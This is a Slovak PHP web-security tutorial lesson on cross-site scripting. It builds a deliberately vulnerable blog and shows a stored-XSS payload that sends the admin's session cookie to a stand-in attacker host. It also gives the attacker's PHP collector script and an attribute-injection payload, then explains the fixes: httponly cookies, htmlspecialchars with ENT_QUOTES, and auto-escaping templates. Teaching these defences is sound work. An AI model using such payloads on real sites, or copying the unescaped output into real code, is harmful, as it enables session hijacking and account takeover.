Zarábaj až 6 000 € mesačne! Akreditované rekvalifikačné kurzy od 0 €. Viac informácií.

Obrana proti útoku XSS v PHP

V predchádzajúcej lekcii, Ako sa brániť proti SQL injection , sme si uviedli spôsoby, ako pred útokom SQL injection svoju aplikáciu chrániť.

XSS, čiže Cross-site scripting, je útok, pri ktorom útočník podstrčí užívateľovi nebezpečný script. Tento útok je veľmi známy, často používaný a napriek tomu existuje veľa webov, ktoré proti nemu nie sú imúnne. Spôsob útoku a ochranu proti nemu sa pokúsim vysvetliť na reálnom príklade:

Majme webový blog, do ktorého užívatelia píšu články, ktoré potom administrátor schvaľuje. Užívateľ má stránku s formulárom, do ktorého (pre zjednodušenie) zadá titulok a obsah článku. Všetky zaslané články sa potom administrátorovi zobrazí v administračnej časti, do ktorej sa musia prihlásiť. Keďže iné časti blogu nie sú potrebné, ukážeme si veľmi jednoduchý kód, ktorý by tieto dve akcie (pridanie a zobrazenie článkov) dokázal obslúžiť.

Index.php

Pre ukážku stačí mať len pár základných vecí, ako je pripojenie k databáze alebo zistenie súboru podľa URL adresy.

<?php

session_start();
header("content-type:text/html;charset=UTF-8");
$db = new PDO("host=localhost;dbname=blog", "uzivatel", "heslo");
$page = !empty($_GET["page"]) ? $_GET["page"] : "home";

?>

<a href="?page=add">Přidat</a> <a href="?page=admin">Admin</a>
<br /><br />

<?php

if (in_array($page, array('home', 'add', 'admin')))
require "{$page}.php";

Add.php

Neriešte teraz ošetrenie chýb vo formulári (ako je nevyplnené pole atp.), Jednoduchá podmienka prejde len v prípade, že používateľ vyplní ako pole 'title', tak aj pole 'content'. Údaje sa potom uloží do tabuľky 'article'.

<?php

if ($_POST && !empty($_POST["title"]) && !empty($_POST["content"])) {
    $q = $db->prepare("
        INSERT INTO `article` (`title`, `content`)
        VALUES (?, ?)
    ");
    $q->execute(array($_POST["title"], $_POST["content"]));
    header("location: index.php?page=add");
    exit;
}

?>

<form method="post">
    <table>
        <tr>
            <td>Titulek:</td>
            <td><input type="text" name="title" /></td>
        </tr>
        <tr>
            <td>Obsah článku:</td>
            <td><textarea name="content" rows="5" cols="60"></textarea></td>
        </tr>
        <tr>
            <td><input type="submit" value="Odeslat" /></td>
        </tr>
    </table>
</form>

Admin.php

V administračné sekcii pre ukážku zobrazíme len zoznam článkov a to vrátane ich obsahu.

<?php

// primitivní kontrola, zda je uživatel admin
if (!isset($_SESSION["admin"])) {
  header("location:?page=home");
  exit;
}

$articlesQuery = $db->query("
    SELECT * FROM `article`
");
$articles = $articlesQuery->fetchAll(PDO::FETCH_OBJ);

?>

<?php foreach ($articles as $article): ?>
    <h3><?php echo $article->title; ?></h3>
    <?php echo $article->content; ?>
<?php endforeach; ?>

Pre predstavu stránky môžu vyzerať takto (neriešte prosím ošklivosť stránok!):

Formulár na pridanie článku - Bezpečnosť webových aplikácií v PHP
zobrazenie článkov - Bezpečnosť webových aplikácií v PHP

XSS

Teraz príde na rad XSS. Všimnite si, že sa titulok a obsah článku vypisujú v surovom stave (tzn. Presne tak, ako ich zadal užívateľ). Kvôli žiadne ochrane môže užívateľ zadať do obsahu článku (v titulku by pre to pravdepodobne nebolo dosť miesta) nebezpečný javascriptový kód. Takýto kód môže mať rôzne podoby podľa toho, čo je cieľom útočníka - keďže vie javascript pristupovať k cookies, možno ukradnúť identifikátor session (PHPSESSID)! Ak sa tak stane, môže útočník podstrčiť identifikátor administrátora a aplikácie potom nespozná, že sa jedná o útočníka a bez problému ho pustí do administrátorskej sekcie.

Poznámka autora: Keď som tento typ útoku v prvom ročníku SŠ ukázal spolužiakom, behom chvíle malo niekoľko ľudí na webe XSS script, ktorý danú stránku presmeroval na stránku s nevhodným obsahom (asi chápete, aký druh stránok mám na mysli - a ja to nebol! ). Našťastie sa ale stránky neukazovali učiteľmi, takže s tým nakoniec neboli žiadne problémy. Radšej to ale v škole neskúšajte.

Ako ale ukradnúť adminovi jeho identifikátor a niekam ho uložiť? Viete, že keď napríklad vkladáte na stránku obrázok, musíte do atribútu src zadať URL adresu, z ktorej si prehliadač vezme obsah? Znamená to, že keď ako URL napíšete "http://webova­.stranka.cz/u­tok.php", vykoná sa PHP script v súbore utok.php. Javascript sa vie k cookies dostať veľmi ľahko:

alert(document.cookie);

Premenná document.cookie obsahuje všetky kľúče a hodnoty v cookies ako reťazec (kluc = hodnota & klic2 = hodnota2). Pre útočníka potom stačí veľmi jednoduchý script:

var c = document.cookie;
document.write("<img src='http://webova.stranka-utocnika.cz/utok.php?data=" + c + "'>");

// vytvoří "obrázek", ale do URL parametru 'data' se pošle hodnota cookie (včetně PHPSESSID)

Útočník by pokojne mohol obrázok zneviditeľniť (pomocou display: none), aby admin nevidel ani ikonku. Ukážka takéhoto útoku by mohla vyzerať takto:

Zadanie nebezpečného scriptu - Bezpečnosť webových aplikácií v PHP
Vypísanie nebezpečného obsahu - Bezpečnosť webových aplikácií v PHP

Ako potom môže vyzerať obsah súboru utok.php? Veľmi jednoducho:

<?php

$db = new PDO("mysql:host=localhost;dbname=test", "uzivatel", "heslo");

$data = $_GET["data"];
$query = $db->prepare("
    INSERT INTO `xss_attack` (`data`) VALUES (?)
");
$query->execute(array($data));

Do databázy útočníka sa potom uloží hodnota cookie administrátora blogu, ktoré článok otvoril na schválenie. Útočník môže na svojej strane hodnotu PHPSESSID zmeniť (napríklad pomocou addon do prehliadača, ktorý to vie). Potom navštívi znova stránku blogu as podstrčené hodnotou a teraz vyzerá ako admin. Aplikácia mu tak povolí prístup aj do administrátorskej sekcie.

Ako sa útoku brániť?

Proti ukradnutiu PHPSESSID stačí veľmi jednoduchá ochrana a to zamedziť, aby tu hodnotu vedel javascript prečítať. To urobíme raz zmenou v nastavení php.ini.

ini_set("session.cookie_httponly", 1);

Stále je ale blog nechránený proti ostatným spôsobom útoku XSS. Potrebujeme, aby sa nebezpečné znaky (ako sú ostré zátvorky) previedli na tzv. Entity. Napr. ľavú ostrú zátvorku <prevedieme na &lt; a pravú> na &gt; To za nás vie urobiť funkcie htmlspecialchars (). Stačí potom touto funkciou obaliť reťazce, ktoré z databázy vypisujeme.

<?php foreach ($articles as $article): ?>
    <h3><?php echo htmlSpecialChars($article->title); ?></h3>
    <?php echo htmlSpecialChars($article->content); ?>
<?php endforeach; ?>

Podľa manuálu zistíte, že funkcia prevádza určité znaky na entity, defaultne sú to amspersand, dvojité úvodzovky, ľavú a pravú ostrú zátvorku. Zvyčajne je ale dobré previesť automaticky aj apostrofy, pretože možno XSS útok vykonať aj v prípade, že sa bude predvyplňovať hodnota v text inputu. Ukážme si na jednoduchom príklade, ako by reťazec s apostrofmi mohol útok vykonať:

<?php

$dangerousString = "' onmouseover='alert(\"XSS\")";

?>

<input type='text' value='<?php echo $dangerousString; ?>'>

// vytvoří
<input type='text' value='' onmouseover='alert("XSS")'>

Pre riešenie tohto problému existuje druhý parameter funkcie htmlspecialchars (). Ak odovzdáme hodnotu konštanty ENT_QUOTES, automaticky sa na entity prevedú aj apostrofy.

<input type='text' value='<?php echo htmlSpecialChars($dangerousString, ENT_QUOTES); ?>'>

Tieto dva spôsoby útoku XSS bývajú najčastejšie, ale je aj viac spôsobov, ako nebezpečný script podstrčiť (napr. Do JS kódu alebo CSS). Viac sa môžete dočítať napríklad v definitívnej príručke k uvádzacích od Davida Grudl.

Automatická ochrana

Vedieť správne použiť uvádzacích funkcia je síce užitočná vec, ale často sa môže stať, že na ne programátor jednoducho zabudne. Preto je dobré mať nástroj, ktorý premenné ošetruje automaticky. Dobrým príkladom môže byť napríklad šablónovacích systém Latte od Nette frameworku - ten automaticky ošetrí premennú podľa toho, kde sa nachádza (či niekde v dokumente, v text inputu, v javascriptu pod.). Podobný automatický mechanizmus používa aj miestna MVC framework v PHP.

Vypísanie premennej je potom veľmi jednoduché:

// proměnná je automaticky ošetřena proti XSS
Hledaný řetězec: {$query}

Keďže Latte ošetruje premenné automaticky, môžeme niekedy potrebovať vypísať hodnotu bez ošetrenia. To možno opäť veľmi ľahko - stačí pred premennú napísať výkričník.

// proměnná se nyní vypíše bez escapování
Obsah proměnné: {!$variable}

Záver

XSS je jedným z najznámejších útokov a napriek tomu existuje veľa webov, ktoré sú proti nemu náchylné. Ošetrenie v určitých prípadoch nemusí byť úplne jednoduché a autor môže ľahko na niečo zabudnúť. U malých webov by to taký problém byť nemusel, ale u väčších, kde sa napríklad točí veľa peňazí, je bezpečnosť na najvyšších priečkach. Osobne používam Latte, pretože viem, že by som sám všetky spôsoby útoku zamedziť nedokázal. Takto nemusím dúfať, že sa útok niekomu nepodarí, pretože mi dokument chráni overený systém, a ja sa tak môžem sústrediť na iné veci, než na uvádzacích jednotlivých premenných.

Využitie overeného nástroja určite odporúčam, pretože okrem ušetrenie času veľmi často zvýši aj samotnú bezpečnosť - ako bolo povedané v článku, môžeme na uvádzacích ľahko zabudnúť alebo ho použiť zle.

V ďalšej lekcii, Útok CSRF (Cross Site Request Forgery) a ako sa brániť , sa zoznámime s útokom Cross Site Request Forgery a uvedieme si spôsoby ako sa pred týmto typom útoku brániť.


 

Predchádzajúci článok
Ako sa brániť proti SQL injection
Všetky články v sekcii
Bezpečnosť webových aplikácií v PHP
Preskočiť článok
(neodporúčame)
Útok CSRF (Cross Site Request Forgery) a ako sa brániť
Článok pre vás napísal Martin Konečný (pavelco1998)
Avatar
Užívateľské hodnotenie:
Ešte nikto nehodnotil, buď prvý!
Autor se o IT moc nezajímá, raději by se věnoval speciálním jednotkám jako jsou SEALs nebo SAS. Když už to ale musí být něco z IT, tak tvorba web. aplikací v PHP. Také vyvýjí novou českou prohlížečovou RPG hru a provozuje osobní web http://www.mkonecny.cz
Aktivity